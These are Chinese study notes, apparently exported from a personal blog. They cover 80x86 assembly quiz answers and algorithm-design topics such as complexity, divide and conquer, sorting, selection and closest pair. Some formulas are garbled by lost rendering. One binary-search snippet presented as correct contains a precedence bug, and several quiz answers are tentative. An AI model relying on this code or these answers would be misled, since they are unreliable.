BIOS，而是直接与硬件交互，但 DOS 仍然常用于嵌入式系统、维修工具等场景。 功能调用 键盘 显示器 打印机\n什么是BIOS # 什么是DOS # DOS系统功能调用 INT 21H AH=1 键盘输入并回显 AH=2 显示字符输出 AH=9 显示字符串输出 AH=0AH 键盘输入到缓冲区 AH=4CH 带返回码终止 二者之间的关系：\nBIOS是直接操作硬件的\n调用方法：\n键盘 # 课内测试 # 理论上很多年课内测试的答案都没有改变过，所以你可以拿来参考，摆脱每节课都必须要去的痛苦，但是时间就要你自己来把控\u0026hellip;\u0026hellip;\n如果你发现你输入的数据错了（这个没办法，证明人家老师反应过来了），或者是我写的答案有错误，可以在评论区立刻指出来\u0026hellip;\u0026hellip;\n号我不知道为什么后面对不上了，自己看看吧\u0026hellip;\u0026hellip;\nch1-1 # 段寄存器:存放了一系列的段的base地址。\nch1-2 # 23451：左边移位直接相加就可以了。\nch1-3 # 寄存器 立即\nch2-1 # [BX + SI]也就是存储器中取得\n**基址变址寻址 **\n默认的就是DS段寄存器\nch2-2 # 段间间接\n7856 3412 （注意前后顺序）\nch2-3 # 上面的两个操作是独立的：\n1232 1236\nch3-1 # 255 255 应该是吧\nch3-2 # AX DX AX\nch3-3 # DF\t字操作 word\u0026mdash;》2 bytes 2\nch4-1 # ZF = 1 CF = 0\n注意标志位即可。\nch4-2 # B C？（和连接有关系么？斟酌一下）\nch4-3 # 0000 0004 0006\nch5-1 # 26 36\nROL：循环向左移动的指令。\nch5-2 # 从最高位开始：11011100\n填写：1 0\nch5-3 # 5678\n1234\nch6-1 # NEAR FAR 很简单的概念\nch6-2 # 寄存器 存储器\nch6-3 # 0403\n0203\nch7-1 # B B\nch7-2 # A D（我有些疑惑，难道不是节省了时间么（但是确实不节省存储空间），不用进行转移和参数的传递，还是说宏展开的时间把这段时间给浪费了？很奇怪，我牺牲了10分，孩子们）\nch7-3 # AX BP\nch7-4 # 不带脑子：SHR SHL\nch8-1 # 第一个空就是说把输入状态端口地址的值输入到AL寄存器里面去 82H\n第二个空是检查最低位是不是1,那么就使用 01H 检测就可以了\n82H 01H\nch8-2 # 外设控制器 协处理器\nch8-3 # 这里也有可能是8-2,看空的个数即可\n响应 + 处理 + 返回\nch8-4 # 这是这张PPT之前举的每十秒钟响铃并且打印的例子：\nB B（主程序只要调用即可）\nch9-1 # \u0026hellip;\u0026hellip;\nch9-2 # *上机实验 # https://github.com/Pine-G/XJTU-CS2020/tree/main/%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80\n这个学长的仓库里有两年的考题以及上机实验的参考代码，合理使用！\n我个人认为这个课的代码没有查重，这个得到时候再看吧。\n","date":"2025-05-11","externalUrl":null,"permalink":"/zh-cn/notes/80x86assembly/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e汇编语言复习 \n    \u003cdiv id=\"%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%A4%8D%E4%B9%A0\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%A4%8D%E4%B9%A0\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t1.这是某学校汇编语言的课程内容，简单做一个复习的笔记，如果能帮到校友就更好了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e​\t2.整体来看感觉内容不多，但是很杂很乱，容易一开始让人很不知所以然，再加上讲课老师感觉逻辑性不算很强，可能让人感觉有点劝退，但是这门课程本身还是相当重要的\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e​\t3.然后就是关于本课程的实验，我的评价就是善用AI，如果你觉得很难写，但是前提是你先要看得懂并且会用MASM工具来调试。\u003c/p\u003e","title":"80X86:Assembly","type":"notes"},{"content":" 算法设计与分析 # 1.课太蠢，简单写一点复习笔记\n2.大量的数学笔记都是我复制下来的，我没有手打这么多公式的耐心，只能感谢那名陌生的同学了,原来的仓库https://github.com/DANNHIROAKI/XJTU-CS-Courses/tree/master,可能这篇文章的阅读体验相对会更好一点，因为数学公式会直接渲染并且我会多余做一些补充和更改，如果原作者看到并且觉得这样不好，您可以直接联系我删除。\n3.代码就会按照原书中来的，利用Java来实现。\n4.https://csdiy.wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/CS170/ 笔者非常后悔在学校老师狂念PPT的时候没有自学这个CS170,如果你还有机会，一定要看一看。\n5.关于本课程你理论上能找到两套往年题目，有参考价值，模拟题目参考价值较少，本课程从选修变成必修之后难度应当有所降低，不管你的老师怎么样，考试之前的复习课一定去听，会透露原题。\n1.算法概述 # 算法的执行次数和时间都有限。程序不一定，因为有可能有while(true)。\n时间复杂性问题 # O omu o theta\n举例子：\nf = O(g)\ng是f的一个上界，f \u0026lt;= g\nomu: \u0026gt;=\no: \u0026lt;\ntheta: = (既是O 又是omu)\nomega: \u0026gt;\nn的阶乘\nStirling’s approximation 是对n !趋于无穷速度的估计，公式如下\n𝑛!=2𝜋𝑛(𝑛𝑒𝑛)(1+Θ(1𝑛))\n可推导：\n𝑛!=𝑜(𝑛𝑛) 𝑛!=𝜔(2𝑛) log⁡(𝑛!)=Θ(𝑛log⁡𝑛)\n课后题证明以及上下界的练习。\n渐进分析的算术运算与证明\n应该不难，想办法凑就可以。\n常用公式：\n•O(f(n))+O(g(n)) = O(max{f(n),g(n)}) ；\n•O(f(n))+O(g(n)) = O(f(n)+g(n)) ；\n•O(f(n))O(g(n)) = O(f(n)*g(n)) ；\n•O(cf(n)) = O(f(n)) ；\n•g(n)= O(f(n)) ⇒ O(f(n))+O(g(n)) = O(f(n))\n证明示例：以第一个公式举例\n•规则O(f(n)) + O(g(n)) = O(max{f(n),g(n)}) 的证明：\n•对于任意f1(n)∈ O(f(n)) ，存在正常数c1和自然数n1，使得对所有n ≥ n1，有f1(n)≤c1f(n) 。\n•类似地，对于任意g1(n)∈ O(g(n)) ，存在正常数c2和自然数n2，使得对所有n ≥ n2，有g1(n) ≤ c2g(n) 。\n•令c3=max{c1, c2}， n3 =max{n1, n2}，h(n)= max{f(n),g(n)} 。\n•则对所有的 n ≥ n3，有\n•f1(n) +g1(n) ≤ c1f(n) + c2g(n)\n≤ c3f(n) + c3g(n)= c3(f(n) + g(n))\n≤ c3×2 max{f(n),g(n)}\n= 2c3h(n)\n则有f1(n) +g1(n)=O(h(n))= O(max{f(n),g(n)})\n即O(f(n))+O(g(n)) = O(max{f(n),g(n)})\n能搞清楚上下界就没问题。\nNP问题 # 应该会考相关的归约的方法。\n概括 # P：可以“快速解决”的问题（即，多项式时间内能求解）。 NP：可以“快速验证答案”的问题。 NPC（NP-Complete，NP 完全）：目前认为“最难的 NP 问题”，一旦能快速解决一个，就能快速解决所有 NP 问题。 NP-hard（NP 困难）：至少跟 NP 中最难的问题一样难，但本身不一定属于 NP。 解释 # 注意这张图的关系： P（Polynomial Time）问题 # 定义：能在“多项式时间”内求出解的问题。 理解方式：你的程序运行时间是 O(n),O(n2),O(n3)O(n), O(n^2), O(n^3)O(n),O(n2),O(n3) 这种（不是指数或阶乘），就属于 P。 例子： 排序（冒泡、快排） 最短路径（Dijkstra） 匹配括号是否合法（栈） NP（Non-deterministic Polynomial Time）问题 # 定义：解可以在多项式时间内被验证的问题。 关键点：你不一定能很快找到解，但一旦别人告诉你答案，你可以很快验证它对不对。 例子： 给一个图，问是否存在一个旅行路径经过所有城市一次？（TSP） 给一个布尔表达式，问是否存在变量组合使其为真？（SAT） NP 完全（NPC, NP-Complete） # 定义：NP 中最难的问题。 满足两个条件： 本身属于 NP。 所有 NP 问题都可以在多项式时间归约到它上。 通俗理解：它是“NP 阶层中的老大哥”。如果有一天你能快速解决一个 NPC 问题，那你就能快速解决所有 NP 问题（即 P=NPP = NPP=NP）。 著名例子： SAT（布尔可满足性问题） TSP（旅行商问题） 3-Coloring（三染色问题） Subset Sum（子集和问题） NP-hard（NP 困难） # 注意：NP难问题不一定是NP问题！\n定义：比 NP 还难的问题（不一定能验证解）。 不一定在 NP 类别中，比如不要求答案验证要快。 一些 NP-hard 问题甚至不可判定（比如停机问题）。 2.递归和分治策略 # 凡治众如治寡，分数是也。 \u0026mdash;-《孙子兵法》\n求解采用自顶向下的计算方式。\n1.最优子结构。2.小问题可以直接解决。3.最后可以小的问题合并成最终答案。4.子问题之间相互独立。\n概念 # hanoi问题：\n设a,b,c是3个塔座。开始时，在塔座a上有一叠共n个圆盘，这些圆盘自下而上，由大到小地叠在一起。各圆盘从小到大编号为1,2,…,n,现要求将塔座a上的这一叠圆盘移到塔座b上，并仍按同样顺序叠置。在移动圆盘时应遵守以下移动规则：\n规则1：每次只能移动1个圆盘；\n规则2：任何时刻都不允许将较大的圆盘压在较小的圆盘之上；\n规则3：在满足移动规则1和2的前提下，可将圆盘移至a,b,c中任一塔座上。\nvoid hanoi(int n, int a, int b, int c) { if (n \u0026gt; 0) { hanoi(n-1, a, c, b);\t//设法将n-1个较小的圆盘依照移动规则从塔座a移至塔座c move(a,b);\t//将塔座a上编号为n的圆盘移到b上 hanoi(n-1, c, b, a);\t//设法将n-1个较小的圆盘依照移动规则从塔座c移至塔座b } } 一般的流程：\nvoid divide-and-conquer(P) { if ( | P | \u0026lt;= n0) adhoc(P); //解决小规模的问题 divide P into smaller subinstances P1,P2,...,Pk；//分解问题 for (i=1,i\u0026lt;=k,i++){ yi=divide-and-conquer(Pi); }\t//递归的解各子问题 return merge(y1,...,yk); //将各子问题的解合并为原问题的解 } 递归的求解 # ​\t一个分治法将规模为n的问题分成k个规模为n／m的子问题去解。设分解阀值n0=1，且adhoc解规模为1的问题耗费1个单位时间。再设将原问题分解为k个子问题以及用merge将k个子问题的解合并为原问题的解需用f(n)个单位时间。\n1.递归树法 # 考虑分解和合并的时间：\n由于该递归表达式分为两项，所以算树的高度时，我们只需要看n/2的分解，由\n𝑛2ℎ=1\n可得递归树的层数为\nℎ=log2⁡𝑛\n分解的时间消耗为\n𝑡1\\len2(1+516+25256+\u0026hellip;+(516)log2⁡𝑛−1=(516)log2⁡𝑛−1516−1\u0026lt;1611𝑛2\n则有\n𝑡1=𝑂(𝑛2)\n叶子节点小于n个，所以合并就是O（n），那么最终就为t1。\n2.主方法 # 令和𝑎≥1和𝑏\u0026gt;1是常数，𝑓(𝑛)是一个函数，𝑇(𝑛)是定义在非负整数上的递归式： 𝑇(𝑛)=𝑎𝑇(𝑛𝑏)+𝑓(𝑛)\nT(n) 有如下渐进界：\n1️⃣ 若对某个常数 ϵ \u0026gt; 0 有𝑓(𝑛)=𝑂(𝑛log𝑏⁡𝑎−𝜖)，则 T ( n ) = Θ (nlogba)\n2️⃣ 若𝑓(𝑛)=Θ(𝑛log𝑏⁡𝑎)，则𝑇(𝑛)=Θ(𝑛log𝑏⁡𝑎lg⁡𝑛)\n3️⃣ 若对某个常数 ϵ \u0026gt; 0 有𝑓(𝑛)=Ω(𝑛log𝑏⁡𝑎+𝜖)，且对某个常数𝑐\u0026lt;1和足够大的n有𝑎𝑓(𝑛/𝑏)≤𝑐𝑓(𝑛)则\nT ( n ) = Θ ( f ( n ) )\n注意点\n在第一种情况中，不是𝑓(𝑛)小于𝑛log𝑏⁡𝑎就够了，而是要多项式意义上的小于，也就是说，𝑓(𝑛)必须渐进小于𝑛log𝑏⁡𝑎，要相差一个因子𝑛𝜖。\n其中𝜖是大于0的常数。\n在第三种情况中，不是𝑓(𝑛)大于𝑛log𝑏⁡𝑎就够了，而是要多项式意义上的大于，而且还要满足\u0026quot;正则\u0026quot;条件𝑎𝑓(𝑛/𝑏)≤𝑐𝑓(𝑛)。遇到的多项式界的函数中，多数都满足这个条件。\n此外，这三种情况并非覆盖了𝑓(𝑛)的所有情况，𝑓(𝑛)可能小于𝑛log𝑏⁡𝑎，但不是多项式意义上的小于，也有可能大于但不是多项式意义上的大于，这时候就不能用主方法来求解，而是需要用递归树。\n举例说明 # 1️⃣ T (n) = 9 T (n/3) + n\n​\t有𝑎=9,𝑏=3,𝑓(𝑛)=𝑛,因此𝑛log𝑏⁡𝑎=𝑛log3⁡9=Θ(𝑛2)，当我们取𝜖=1,有𝑓(𝑛)=𝑂(𝑛log3⁡9−1)，由定理一则有𝑇(𝑛)=Θ(𝑛2)\n2️⃣ T (n) = T (2n/3) + 1\n​\t有𝑎=1,𝑏=3/2,𝑓(𝑛)=1,因此𝑛log𝑏⁡𝑎=𝑛log3/2⁡1=𝑛0=Θ(1)，由于𝑓(𝑛)=Θ(𝑛log𝑏⁡𝑎)=Θ(1)，由定理二则有𝑇(𝑛)=Θ(lg⁡𝑛)\n3️⃣ T (n) = 3 T (n/4) + nlgn\n​\t有𝑎=3,𝑏=4,𝑓(𝑛)=𝑛lg⁡𝑛,因此𝑛log𝑏⁡𝑎=𝑛log4⁡3=𝑂(𝑛0.793)，由于𝑓(𝑛)=Ω(𝑛log4⁡3+𝜖)，其中𝜖≈0.2，因此如果可以证明正则条件成立，则可以使用定理三。当n足够大时，对于𝑐=3/4，（𝑎𝑓(𝑛/𝑏)=3（𝑛/4)lg⁡(𝑛/4)≤(3/4)𝑛lg⁡𝑛=𝑐𝑓(𝑛)，由定理二则有𝑇(𝑛)=Θ(𝑛lg⁡𝑛)\n⚠️主方法不适用于𝑇(𝑛)+2𝑇(𝑛/2)+𝑛lg⁡𝑛\n​\t有𝑎=2,𝑏=2,𝑓(𝑛)=𝑛lg⁡𝑛,因此𝑛log𝑏⁡𝑎=𝑛，𝑓(𝑛)虽然渐进大于n，但是并不是多项式意义上的的大于**(比值要是n的次方)**，对于任意的正常数𝜖，比值𝑓(𝑛)/𝑛log𝑏⁡𝑎=lg⁡𝑛都渐进小于𝑛𝜖，陷入了特殊情况，使用递归树可解决。\n可以这么理解，谁大就由谁来决定，相等的情况就是对数和算出来的式子直接做乘法。\n分治算法具体问题设计 # merge and sort\n1.二分算法 # class Solution { public int search(int[] nums, int target) { int left = 0; int right = nums.length - 1; while(left \u0026lt;= right){ int mid = left + (right - left) / 2; if(nums[mid] \u0026lt; target){ left = mid + 1; }else if(nums[mid] \u0026gt; target){ right = mid - 1; }else{ return mid; } } return -1; } } ​\t每执行一次算法的while循环，待搜索的数组的大小就减少一半。因此，在最坏情况下，while循环被执行了𝑂(log⁡𝑛)次。循环体内运算需要𝑂(1)时间，因此整个算法在最坏情况下的时间复杂性为𝑂(log⁡𝑛)。\n二分代码的纠错，写出bugfree的二分代码，分析七个二分算法的错误。\n下标变化错误，会进入死循环。（1 2 3 5 6 7 这个序列中去找数字4）\nright控制的有问题，当要查找的数据在最右边的时候就找不到了（1 2 3 5 6 7 中找 7）\n和上面是同理的，left + 1 != right 就是 left \u0026lt; right - 1\n下标控制错误，left = middle + 1,当要查找的元素为数组中的最后一个的时候，此时陷入死循环。\nclass Solution { public int search(int[] nums, int target) { int left = 0; int right = nums.length - 1; while(left \u0026lt; right){ int mid = left + (right - left) + 1 / 2; if(nums[mid] \u0026lt; target){ left = mid; }else if(nums[mid] \u0026gt; target){ right = mid - 1; }else{ return mid; } } if(target == nums[left]){ return left; } return -1; } } 第五个是正确的代码，middle控制的向上作取整可以使得left不用等于middle加1,当有多个重复的时候，取的值是最右边的值。\n多了right = mid - 1，这样我们就没办法找到最右边的值了。注意这两个代码都是 left \u0026lt; right 而非相等的。\nright = mid，右边的值到不了左边来，那么当你找的数字为第一个元素的时候就会陷入死循环。\n从判断错误的角度来讲，举极端例子（找最左边或者最右边），或者数组长度只有1的情况都是很好的方法。\n2.大整数乘法 # 处理两个位数很大的数字的乘法：\n用类似于因式分解的方法，把原来的两次乘法改成一次乘法，但是只是多了几次加法而已。\n3.Strassen矩阵乘法 # 这一部分可以看书，把八次乘法转换成了七次的乘法，和上面的大整数乘法是类似的思想。\n4.棋盘覆盖问题 # ​\t在一个2𝑘×2𝑘 个方格组成的棋盘中，恰有一个方格与其它方格不同，称该方格为一特殊方格，且称该棋盘为一特殊棋盘。在棋盘覆盖问题中，要用图示的4种不同形态的L型骨牌覆盖给定的特殊棋盘上除特殊方格以外的所有方格，且任何2个L型骨牌不得重叠覆盖。\n​\t将2𝑘×2𝑘 棋盘分割为4个2𝑘−1×2𝑘−1 子棋盘(a)所示。特殊方格必位于4个较小子棋盘之一中，其余3个子棋盘中无特殊方格。为了将这3个无特殊方格的子棋盘转化为特殊棋盘，可以用一个L型骨牌覆盖这3个较小棋盘的会合处，如 (b)所示，从而将原问题转化为4个较小规模的棋盘覆盖问题。递归地使用这种分割，直至棋盘简化为棋盘1×1。\n​\t解此递归方程可得𝑇(𝑘)=𝑂(4𝑘)，由于覆盖一个2𝑘×2𝑘 棋盘所需要的L型骨牌个数为(4𝑘−1)/3，所以该算法为一个在渐进意义下的最优算法。\n5.合并排序（merge sort） # ​\t基本思想：将待排序元素分成大小大致相同的2个子集合，分别对2个子集合进行排序，最终将排好序的子集合合并成为所要求的排好序的集合。\n最坏时间复杂度：O(nlogn)\t平均时间复杂度：O(nlogn)\t辅助空间：O(n)\n最坏情况下的时间复杂度：\n​\t概念：解此递归方程为𝑇(𝑛)=𝑂(𝑛log⁡𝑛)，由于排序问题的计算时间下界为Ω(𝑛log⁡𝑛)，所以合并排序算法为一个渐进最优算法。\n​\t对于算法MergeSort，可以利用分治法消除其中的递归。可以先将数组a中相邻的元素两两配对，用合并算法将他们排序，构成n/2组长度为2的排好序的子数组段，然后再把它们排成长度为4的排好序的子数组段，如此继续下去，直至整个数组排好序。\npackage Recursion; public class MergeSort { private void sortArray(int[] array) { merge(array, 0, array.length - 1); } private void mergeSort(int[] array, int left, int mid, int right) { int[] temp1 = new int[mid - left + 1]; int[] temp2 = new int[right - mid]; for (int i = 0; i \u0026lt; temp1.length; i++) { temp1[i] = array[left + i]; } for (int i = 0; i \u0026lt; temp2.length; i++) { temp2[i] = array[mid + 1 + i]; } int i = 0, j = 0; int k = left; while (i \u0026lt; temp1.length \u0026amp;\u0026amp; j \u0026lt; temp2.length) { //注意这里保证了排序的稳定性，小于等于就直接放进去 if (temp1[i] \u0026lt;= temp2[j]) { array[k] = temp1[i]; ++i; ++k; }else{ array[k] = temp2[j]; ++j; ++k; } } while (i \u0026lt; temp1.length) { array[k] = temp1[i]; ++i; ++k; } while (j \u0026lt; temp2.length) { array[k] = temp2[j]; ++j; ++k; } } private void merge(int[] array, int left , int right){ if(left \u0026lt; right){ int mid = left + (right - left)/2; merge(array, left, mid); merge(array, mid + 1, right); mergeSort(array, left, mid, right); } } public static void main(String[] args) { int[] array = {9,8,7,6,5,4,3,2,1}; MergeSort mergeSort = new MergeSort(); mergeSort.sortArray(array); for(int index = 0; index \u0026lt; array.length; index++){ System.out.print(array[index] + \u0026#34; \u0026#34;); } } } 6.快速排序（Quick Sort） # ​\t在快速排序中，记录的比较和交换是从两端向中间进行的，关键字较大的记录一次就能交换到后面单元，关键字较小的记录一次就能交换到前面单元，记录每次移动的距离较大，因而总的比较和移动次数较少。\n算法分析如下：\n对于输入的子数组a[p:r]，按照以下三个步骤排序：\n1️⃣ 分解：以a[p]作为基准元素将a[p:r]分解为三段a[p:q-1],a[q],a[q+1:r]，使a[p:q-1]中的任意一个元素小于等于a[q]，a[q+1:r]中任何一个元素大于等于a[q]，下标在划分过程中确定。\n2️⃣ 递归求解：通过递归调用快速排序算法，分别对a[p:q-1]和a[q+1:r]进行排序\n3️⃣ 合并：由于对a[p:q-1]和a[q+1:r]的排序使就地进行的，因此排好序后不需要再执行其他计算。\npackage Recursion; public class QuickSort { public static void main(String[] args) { int[] arr = {15,14,13,12,11,10,9,8,7,6,5,4,3,2,1}; quickSort(arr,0,arr.length-1); for(int a:arr){ System.out.print(a + \u0026#34; \u0026#34;); } } private static void quickSort(int[] arr, int left, int right) { if(left \u0026lt; right){ int partitionIndex = partition(arr, left, right); quickSort(arr, left, partitionIndex-1); quickSort(arr, partitionIndex+1, right); } } private static int partition(int[] arr, int left, int right) { int pivot = arr[left]; while(left \u0026lt; right){ //找到第一个小于pivot的元素 while(left \u0026lt; right \u0026amp;\u0026amp; arr[right] \u0026gt;= pivot){ right--; } //把右边的值移到左边来 arr[left] = arr[right]; //找到第一个大于pivot的元素 while(left \u0026lt; right \u0026amp;\u0026amp; arr[left] \u0026lt;= pivot){ left++; } //把左边的值移到右边来 arr[right] = arr[left]; } //最后进行交换 arr[left] = pivot; return left; } } 这里是取第一个元素作为划分的基准，如果取最后一个元素作为基准而且其是数组中最大的元素，那么会陷入死循环。\n对于输入序列a[p:r] , Partition的计算时间显然为𝑂(𝑟−𝑝−1)。\n​\t快速排序的运行时间与划分是否对称有关,其最坏情况发生在划分过程产生的两个区域分别包含n- 1个元素和1个元素的时候。由于函数Partition的计算时间为𝑂(𝑛),所以如果算法Partition的每一步都出现这种不对称划分,则其计算时间复杂性T(n) 满足 解此递归方程可得𝑇(𝑛)=𝑂(𝑛2)。\n​\t在最好情况下,每次划分所取的基准都恰好为中值,即每次划分都产生两个大小为n/2的区域，此时，Partition的计算时间T(n)满足 ​\t可以证明,快速排序算法在平均情况下的时间复杂性也是 T ( n ) = O ( n log ⁡ n ) ,这在基于比较的排序算法类中算是快速的,快速排序也因此而得名。\n​\t随机选取值而不是每次都选取第一个就可以解决这个问题。\n7.线性时间选择 # ⭐ 要能根据代码分析时间复杂度\n​\t给定线性序集中n个元素和一个整数k，1≤k≤n，要求找出这n个元素中第k小的元素，只需要调用如下方法：RandomizedSelect(a,0,n-1,k)\ntemplate\u0026lt;class Type\u0026gt; Type RandomizedSelect(Type a[],int p, int r, int k){ if(p==r) return a[p]; int i = RandomizePartition(a,p,r); j=i-p+1; if(k\u0026lt;=j) return RandomizedSelect(a,p,i,k); else return RandomizedSelect(a,i+1,r,k-j); } ​\t在算法RandomizedSelect中执行RandomizedPartition后;数组a[p:r]被划分成两个子数组a[p:i]和a[i+1:r],使得中每个元素都不大于a[i+1:r]中每个元素。接着算法计算子数组a[p:i]中元素个数j。如果k≤j,则a[p:r]中第k小元素落在子数组a[p:i]中如果k\u0026gt; j,则要找的第k小元素落在子数组a[i+1:r]中。由于此时已知道子数组a[p:i]中元素均小于要找的第k小元素,因此，要找的a[p:r]中第k小元素是a[i+ 1:r]中的第k- j 小元素。\n​\t在最坏情况下,算法RandomizedSelect需要𝑂(𝑛2)计算时间。例如在找最小元素时，总是在最大元素处划分。尽管如此,该算法的平均性能很好。在平均情况下，算法RandomizedSelect可以在𝑂(𝑛)时间内解决⭐\n​\t如果能在线性时间内找到一个划分基准，使得按这个基准所划分出的2个子数组的长度都至少为原数组长度的ε倍(0\u0026lt;ε\u0026lt;1是某个正常数)，那么就可以在最坏情况下用O(n)时间完成选择任务。例如，若ε=9/10，算法递归调用所产生的子数组的长度至少缩短1/10。所以，在最坏情况下，算法所需的计算时间T(n)满足递归式T(n)≤T(9n/10)+O(n) 。由此可得T(n)=O(n)。\n寻找划分标准的算法如下：\n分组，寻找中位数的中位数，这样的分割位置相对来说比较公平。\n​\t1️⃣ 将n个输入元素划分成⌈𝑛/5⌉个组，每组5个元素，只可能有一个组不是5个元素。用任意一种排序算法，将每组中的元素排好序，并取出每组的中位数，共⌈𝑛/5⌉个。\n​\t2️⃣ 递归调用Select来找出这⌈𝑛/5⌉个元素的中位数。如果⌈𝑛/5⌉是偶数，就找它的2个中位数中较大的一个。以这个元素作为划分基准。\n​\t设所有元素互不相同。在这种情况下，找出的基准x至少比3(n-5)/10个元素大，因为在每一组中有2个元素小于本组的中位数，而n/5个中位数中又有(n/5-1)/2=(n-5)/10个小于基准x。同理，基准x也至少比3(n-5)/10个元素小。而当n≥75时，3(n-5)/10≥n/4所以按此基准划分所得的2个子数组的长度都至少缩短1/4。\ntemplate\u0026lt;class Type\u0026gt; Type Select(Type a[], int p, int r, int k) { if (r-p\u0026lt;75) { Sort(Type a[], int p, int r); //用某个简单排序算法对数组a[p:r]排序; return a[p+k-1]; }; for ( int i = 0; i\u0026lt;=(r-p-4)/5; i++ ) //将a[p+5*i]至a[p+5*i+4]的第3小元素与a[p+i]交换位置; Type x = Select(a, p, p+(r-p-4)/5, (r-p-4)/10); //找中位数的中位数，r-p-4即上面所说的n-5 int i=Partition(a,p,r, x), j=i-p+1; if (k\u0026lt;=j) return Select(a,p,i,k); else return Select(a,i+1,r,k-j); } ​\t上述算法将每一组的大小定为5，并选取75作为是否作递归调用的分界点。这2点保证了T(n)的递归式中2个自变量之和n/5+3n/4=19n/20=εn，0\u0026lt;ε\u0026lt;1。这是使T(n)=O(n)的关键之处。当然，除了5和75之外，还有其他选择\n时间复杂度分析为： 解得：𝑇(𝑛)=𝑂(𝑛)，要会用递归树求解\n看不懂就记住时间复杂度为O（n），考试前再看一下原理，记忆一下数字规律也可以。\n8.最近点对问题 # 会写伪代码，典型的简答题。\n给定平面上n个点，找其中的一对点，使得在n个点组成的所有点对中，该点对的距离最小。\n​\t为了使问题易于理解和分析，先来考虑一维的情形。此时，S中的n个点退化为x轴上的n个实数 x1,x2,…,xn。最接近点对即为这n个实数中相差最小的2个实数。\n​\t假设我们用x轴上某个点m将S划分为2个子集S1和S2 ，基于平衡子问题的思想，用S中各点坐标的中位数来作分割点。递归地在S1和S2上找出其最接近点对{p1,p2}和{q1,q2}，并设d=min{|p1-p2|,|q1-q2|}，S中的最接近点对或者是{p1,p2}，或者是{q1,q2}，或者是某个{p3,q3}，其中p3∈S1且q3∈S2。如果S的最接近点对是{p3,q3}，即|p3-q3|\u0026lt;d，则p3和q3两者与m的距离不超过d，即p3∈(m-d,m]，q3∈(m,m+d]。由于在S1中，每个长度为d的半闭区间至多包含一个点（否则必有两点距离小于d），并且m是S1和S2的分割点，因此(m-d,m]中至多包含S中的一个点。由图可以看出，如果(m-d,m]中有S中的点，则此点就是S1中最大点，同理S2这么找就会找到最小的点。因此，我们用线性时间就能找到区间(m-d,m]和(m,m+d]中所有点，即p3和q3。从而我们用线性时间就可以将S1的解和S2的解合并成为S的解。\n以下是二维的情况：\n​\t选取一垂直线l:x=m来作为分割直线。其中m为S中各点x坐标的中位数。由此将S分割为S1和S2。递归地在S1和S2上找出其最小距离d1和d2，并设d=min{d1,d2}，S中的最接近点对或者是d，或者是某个{p,q}，其中p∈P1且q∈P2。\n考虑P1中任意一点p，它若与P2中的点q构成最接近点对的候选者，则必有distance(p，q)＜d。满足这个条件的P2中的点一定落在一个d×2d的矩形R中由d的意义可知，P2中任何2个S中的点的距离都不小于d。由此可以推出矩形R中最多只有6个S中的点。因此，在分治法的合并步骤中最多只需要检查6×n/2=3n个候选者\n⭐ 证明 将矩形R的长为2d的边3等分，将它的长为d的边2等分，由此导出6个(d/2)×(2d/3)的矩形。若矩形R中有多于6个S中的点，则由鸽舍原理易知至少有一个(d/2)×(2d/3)的小矩形中有2个以上S中的点。设u，v是位于同一小矩形中的2个点，则\n​\t证明就是六等分，那么一个小矩形的对角边就是最大的长度。\ndistance(u,v)\u0026lt;d。这与d的意义相矛盾。图b是具有6个S中的点的极端情况。\n由上述证明可知，在分治法的合并步骤中，最多只需要检查6xn/2=3n个候选者，而不是n^2/4个。\n​\t为了确切地知道要检查哪6个点，可以将p和P2中所有S2的点投影到垂直线l上。由于能与p点一起构成最接近点对候选者的S2中点一定在矩形R中，所以它们在直线l上的投影点距p在l上投影点的距离小于d。由上面的分析可知，这种投影点最多只有6个。因此，若将P1和P2中所有S中点按其y坐标排好序，则对P1中所有点，对排好序的点列作一次扫描，就可以找出所有最接近点对的候选者。对P1中每一点最多只要检查P2中排好序的相继6个点。\n以下就是伪代码：\ndouble cpair2(S) { n=|S|; if (n \u0026lt; 2) return 无穷; 1、m=S中各点x间坐标的中位数; //构造S1和S2； S1={p∈S|x(p)\u0026lt;=m}; S2={p∈S|x(p)\u0026gt;m}; //作递归的处理 2、 d1=cpair2(S1); d2=cpair2(S2); //找到集合内的最近距离点对，并且记录大小 3、dm=min(d1,d2); //预先排序的处理 4、设P1是S1中距垂直分割线l的距离在dm之内的所有点组成的集合； P2是S2中距分割线l的距离在dm之内所有点组成的集合； 将P1和P2中点依其y坐标值排序； 并设X和Y是相应的已排好序的点列； //1对6的扫描找最小值 所以最多是3 * n 5、通过扫描X以及对于X中每个点检查Y中与其距离在dm之内的所有点(最多6个)可以完成合并； 当X中的扫描指针逐次向上移动时，Y中的扫描指针可在宽为2dm的区间内移动； 设dl是按这种扫描方式找到的点对间的最小距离； 6、d=min(dm,dl); return d; } 核心过程就是第五步。\n​\t下面分析算法Cpair2的计算复杂性。设对于n个点的平面点集S ,算法耗时T(n)。算法的第1步和第5步用了𝑂(𝑛)时间。第3步和第6步用了常数时间。第2步用了2T(n/2)时间。若在每次执行第4步时进行排序,则在最坏情况下第4步要用𝑂(𝑛log⁡𝑛)时间。这不符合我们 的要求。因此，在这里我们采用设计算法时常用的预排序技术,在使用分治法之前,预先将S中n个点依其y坐标值排好序,设排好序的点列为P 。在执行分治法的第4步时,只要对𝑃∗作一次线性扫描,即可抽取出我们所需要的排好序的点列X和Y。然后，在第5步中再对X作一次线性扫描,即可求得dl.因此,第4步和第5步的两遍扫描合在一起只要用0(n)时间。这样,经过预排序处理后算法Cpair2 所需的计算时间T(n)满足递归方程 由此易知, T (n) = O(nlogn) 